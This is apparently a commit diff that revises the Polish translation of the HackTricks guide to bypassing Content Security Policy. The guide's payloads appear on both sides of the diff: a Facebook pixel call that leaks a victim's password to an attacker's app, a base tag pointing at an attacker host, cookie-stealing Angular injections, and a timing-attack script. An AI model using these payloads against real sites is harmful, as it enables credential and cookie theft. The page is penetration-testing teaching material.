mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
Translator
parent
6816c29234
commit
e213246772
@ -4,7 +4,7 @@
|
||||
|
||||
## Co to jest CSP
|
||||
|
||||
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
|
||||
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
||||
|
||||
@ -25,7 +25,7 @@ CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:
|
||||
|
||||
### Definiowanie zasobów
|
||||
|
||||
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonanie JavaScript w linii i użycie `eval()`. Przykładowa polityka to:
|
||||
CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej zawartości, kontrolując aspekty takie jak wykonanie JavaScript w linii i użycie `eval()`. Przykładowa polityka to:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -39,42 +39,42 @@ object-src 'none';
|
||||
```
|
||||
### Dyrektywy
|
||||
|
||||
- **script-src**: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwacze zdarzeń lub arkusze stylów XSLT.
|
||||
- **script-src**: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwane zdarzenia lub arkusze stylów XSLT.
|
||||
- **default-src**: Ustala domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw pobierania.
|
||||
- **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek.
|
||||
- **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ogranicza adresy URL dla ramek.
|
||||
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>` i `<applet>`.
|
||||
- **img-src**: Definiuje dozwolone źródła dla obrazów.
|
||||
- **font-src**: Określa ważne źródła dla czcionek ładowanych za pomocą `@font-face`.
|
||||
- **manifest-src**: Definiuje dozwolone źródła plików manifestu aplikacji.
|
||||
- **media-src**: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.
|
||||
- **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>`, i `<applet>`.
|
||||
- **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>` i `<applet>`.
|
||||
- **base-uri**: Określa dozwolone adresy URL do ładowania za pomocą elementów `<base>`.
|
||||
- **form-action**: Wymienia ważne punkty końcowe dla przesyłania formularzy.
|
||||
- **plugin-types**: Ogranicza typy mime, które strona może wywołać.
|
||||
- **upgrade-insecure-requests**: Instrukcja dla przeglądarek, aby przepisały adresy URL HTTP na HTTPS.
|
||||
- **upgrade-insecure-requests**: Instrukcja dla przeglądarek, aby przekształcały adresy URL HTTP na HTTPS.
|
||||
- **sandbox**: Stosuje ograniczenia podobne do atrybutu sandbox elementu `<iframe>`.
|
||||
- **report-to**: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.
|
||||
- **worker-src**: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
|
||||
- **prefetch-src**: Określa ważne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.
|
||||
- **navigate-to**: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open, itp.)
|
||||
- **navigate-to**: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open itp.)
|
||||
|
||||
### Źródła
|
||||
|
||||
- `*`: Zezwala na wszystkie adresy URL z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
|
||||
- `*`: Zezwala na wszystkie adresy URL, z wyjątkiem tych z schematami `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Zezwala na ładowanie z tej samej domeny.
|
||||
- `'data'`: Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy zakodowane w Base64).
|
||||
- `'none'`: Blokuje ładowanie z jakiegokolwiek źródła.
|
||||
- `'unsafe-eval'`: Zezwala na użycie `eval()` i podobnych metod, niezalecane z powodów bezpieczeństwa.
|
||||
- `'unsafe-hashes'`: Umożliwia określone inline obsługiwacze zdarzeń.
|
||||
- `'unsafe-hashes'`: Umożliwia określone inline event handlers.
|
||||
- `'unsafe-inline'`: Zezwala na użycie zasobów inline, takich jak inline `<script>` lub `<style>`, niezalecane z powodów bezpieczeństwa.
|
||||
- `'nonce'`: Lista dozwolonych skryptów inline z użyciem kryptograficznego nonca (liczba używana raz).
|
||||
- Jeśli masz ograniczoną możliwość wykonania JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
|
||||
- `'nonce'`: Lista dozwolonych skryptów inline z użyciem kryptograficznego nonce (liczba używana raz).
|
||||
- Jeśli masz ograniczoną egzekucję JS, możliwe jest uzyskanie używanego nonce wewnątrz strony za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Załaduj skrypt ponownie używając nonca</summary>
|
||||
<summary>Załaduj skrypt ponownie używając nonce</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -262,13 +262,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Wykorzystywanie www.google.com do otwartego przekierowania
|
||||
|
||||
Następujący adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Poniższy URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
Abusing \*.google.com/script.google.com
|
||||
|
||||
Możliwe jest nadużycie Google Apps Script, aby otrzymać informacje na stronie wewnątrz script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
Możliwe jest nadużycie Google Apps Script, aby uzyskać informacje na stronie w script.google.com. Jak to [zrobiono w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Third Party Endpoints + JSONP
|
||||
```http
|
||||
@ -290,30 +290,30 @@ Ta sama podatność wystąpi, jeśli **zaufany punkt końcowy zawiera Open Redir
|
||||
|
||||
### Nadużycia ze strony osób trzecich
|
||||
|
||||
Jak opisano w [następującym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, które mogą być nadużywane do eksfiltracji danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:
|
||||
Jak opisano w [następującym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, mogą być nadużywane do wykradania danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:
|
||||
|
||||
| Podmiot | Dozwolona domena | Możliwości |
|
||||
| ------------------ | ---------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Podmiot | Dozwolona domena | Możliwości |
|
||||
| ------------------ | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
|
||||
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i albo wykradając dane do tej usługi, albo wykonując kod.
|
||||
|
||||
Na przykład, jeśli znajdziesz następujące CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
or
|
||||
lub
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). W tym przypadku postępuj zgodnie z tymi ogólnymi krokami:
|
||||
Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). W tym przypadku postępujesz zgodnie z tymi ogólnymi krokami:
|
||||
|
||||
1. Utwórz konto dewelopera Facebook tutaj.
|
||||
2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
||||
@ -322,7 +322,7 @@ Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z
|
||||
5. Przejdź do swojego "Menedżera zdarzeń" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.
|
||||
|
||||
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając niestandardowe zdarzenie w ten sposób:
|
||||
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając zdarzenie niestandardowe w ten sposób:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -331,7 +331,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) w celu uzyskania dodatkowych wyjaśnień dotyczących innych nadużyć związanych z zewnętrznymi.
|
||||
|
||||
### Bypass za pomocą RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Oprócz wspomnianego wcześniej przekierowania w celu obejścia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.
|
||||
|
||||
@ -361,7 +361,7 @@ Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbi
|
||||
|
||||
Jeśli dyrektywa **base-uri** jest brakująca, możesz to wykorzystać do przeprowadzenia [**wstrzyknięcia wiszącego markup**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Ponadto, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (jak `<script src="/js/app.js">`) używając **Nonce**, możesz wykorzystać **tag** **base**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
|
||||
Co więcej, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (jak `<script src="/js/app.js">`) używając **Nonce**, możesz wykorzystać **tag** **base**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
|
||||
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu httpS w tagu base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
@ -375,7 +375,7 @@ Kierując tę tablicę do filtra `orderBy`, możliwe jest iterowanie po niej, wy
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path` oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając tym samym `document.cookie`.
|
||||
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path`, oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając tym samym `document.cookie`.
|
||||
|
||||
**Znajdź inne obejścia Angulara w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -399,7 +399,7 @@ Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć [**tutaj**](h
|
||||
|
||||
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego pochodzenia, które nie jest dozwolone, nadal zakończy się niepowodzeniem.
|
||||
|
||||
Jednak zgodnie z opisem w [specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może obejść pierwotne ograniczenia.
|
||||
Jednakże, zgodnie z opisem w [specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może obejść oryginalne ograniczenia.
|
||||
|
||||
Oto przykład:
|
||||
```html
|
||||
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Jeśli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty `/test`, jak i `/a/test` będą blokowane przez CSP.
|
||||
|
||||
Jednakże, ostateczne `http://localhost:5555/301` będzie **przekierowywane po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co omija ograniczenie ścieżki.
|
||||
Jednak końcowy `http://localhost:5555/301` będzie **przekierowywany po stronie serwera na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co omija ograniczenie ścieżki.
|
||||
|
||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest całkowicie określona, nadal będzie omijana.
|
||||
|
||||
Dlatego najlepszym rozwiązaniem jest upewnienie się, że strona internetowa nie ma żadnych luk w przekierowaniach oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.
|
||||
|
||||
### Ominięcie CSP z użyciem wiszącego markup
|
||||
### Ominięcie CSP z wiszącym znacznikiem
|
||||
|
||||
Przeczytaj [jak tutaj](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
@ -462,7 +462,7 @@ Funkcja **`importScripts`** w service workers nie jest ograniczona przez CSP:
|
||||
|
||||
#### Chrome
|
||||
|
||||
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, że stanie się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** przy użyciu dowolnego z tych obejść:
|
||||
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, aby uczynić **ją bezużyteczną**. Możesz **zezwolić na skrypt 'unsafe-inline'** za pomocą dowolnego z tych obejść:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -472,15 +472,15 @@ Możesz znaleźć przykład tutaj: [http://portswigger-labs.net/edge_csp_injecti
|
||||
|
||||
#### Edge
|
||||
|
||||
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: **`;_`** **Edge** **odrzuci** całą **politykę**.\
|
||||
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: **`;_`** **Edge** **usunie** całą **politykę**.\
|
||||
Przykład: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; przez XSS (iframe) - Atak czasowy
|
||||
|
||||
Zauważ brak dyrektywy `'unsafe-inline'`\
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** przez **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas, jaki strona potrzebuje na załadowanie**, możesz wyciągnąć potrzebne informacje.
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (**CSRF**). Nie możesz uzyskać dostępu do treści strony, ale jeśli w jakiś sposób możesz **kontrolować czas, jaki strona potrzebuje na załadowanie**, możesz wyciągnąć potrzebne informacje.
|
||||
|
||||
Tym razem **flaga** zostanie wyciągnięta, gdy tylko **znak zostanie poprawnie odgadnięty** przez SQLi, **odpowiedź** zajmuje **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
|
||||
Tym razem **flaga** zostanie wyciągnięta, gdy tylko **znak zostanie poprawnie odgadnięty** za pomocą SQLi, **odpowiedź** zajmuje **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -544,11 +544,11 @@ run()
|
||||
|
||||
Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka czy tokeny.
|
||||
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Dla uzyskania więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, które zabraniało ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||
W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, który zabraniał ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||
|
||||
Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**:
|
||||
```html
|
||||
@ -556,7 +556,7 @@ Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**:
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerabilność stała się wykonalna.**\
|
||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\
|
||||
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** oraz **włączając konkretny skrypt inline za pomocą sha**:
|
||||
```html
|
||||
<meta
|
||||
@ -583,9 +583,9 @@ document.querySelector("DIV").innerHTML =
|
||||
- Ten URL następnie przekierowuje do tajnego URL (np. `https://usersecret.example2.com`), który jest **niedozwolony** przez CSP.
|
||||
- Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której początkowy URL przekierował.
|
||||
|
||||
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
|
||||
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
|
||||
|
||||
Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnej subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
|
||||
Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnej subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo zablokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -599,18 +599,18 @@ Trik z [**tutaj**](https://ctftime.org/writeup/29310).
|
||||
|
||||
### Błędy PHP przy zbyt wielu parametrach
|
||||
|
||||
Zgodnie z [**ostatnią techniką skomentowaną w tym wideo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), wysyłanie zbyt wielu parametrów (1001 parametrów GET, chociaż można to również zrobić z parametrami POST i więcej niż 20 plikami). Każdy zdefiniowany **`header()`** w kodzie PHP **nie zostanie wysłany** z powodu błędu, który to wywoła.
|
||||
Zgodnie z [**ostatnią techniką omówioną w tym wideo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), wysyłanie zbyt wielu parametrów (1001 parametrów GET, chociaż można to również zrobić z parametrami POST i więcej niż 20 plikami). Każdy zdefiniowany **`header()`** w kodzie PHP **nie zostanie wysłany** z powodu błędu, który to wywoła.
|
||||
|
||||
### Przepełnienie bufora odpowiedzi PHP
|
||||
|
||||
PHP jest znane z **buforowania odpowiedzi do 4096** bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając **wystarczająco dużo danych w ostrzeżeniach**, **odpowiedź** zostanie **wysłana** **przed** **nagłówkiem CSP**, powodując, że nagłówek zostanie zignorowany.\
|
||||
PHP jest znane z **buforowania odpowiedzi do 4096** bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając **wystarczająco dużo danych w ostrzeżeniach**, **odpowiedź** zostanie **wysłana** **przed** **nagłówkiem CSP**, co spowoduje zignorowanie nagłówka.\
|
||||
Technika polega zasadniczo na **wypełnieniu bufora odpowiedzi ostrzeżeniami**, aby nagłówek CSP nie został wysłany.
|
||||
|
||||
Pomysł z [**tego opisu**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Przepisanie strony błędu
|
||||
### Przepisz stronę błędu
|
||||
|
||||
Z [**tego opisu**](https://blog.ssrf.kr/69) wygląda na to, że możliwe było obejście ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści.
|
||||
Z [**tego opisu**](https://blog.ssrf.kr/69) wygląda na to, że możliwe było obejście ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -619,13 +619,13 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME to technika, która wykorzystuje XSS (lub bardzo ograniczone XSS) **w punkcie końcowym strony** do **wykorzystania** **innych punktów końcowych tej samej domeny.** Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego, który chcesz wykorzystać. Aby uzyskać więcej informacji, sprawdź:
|
||||
SOME to technika, która wykorzystuje XSS (lub mocno ograniczone XSS) **w punkcie końcowym strony** do **wykorzystania** **innych punktów końcowych tej samej domeny.** Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego, który chcesz wykorzystać. Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
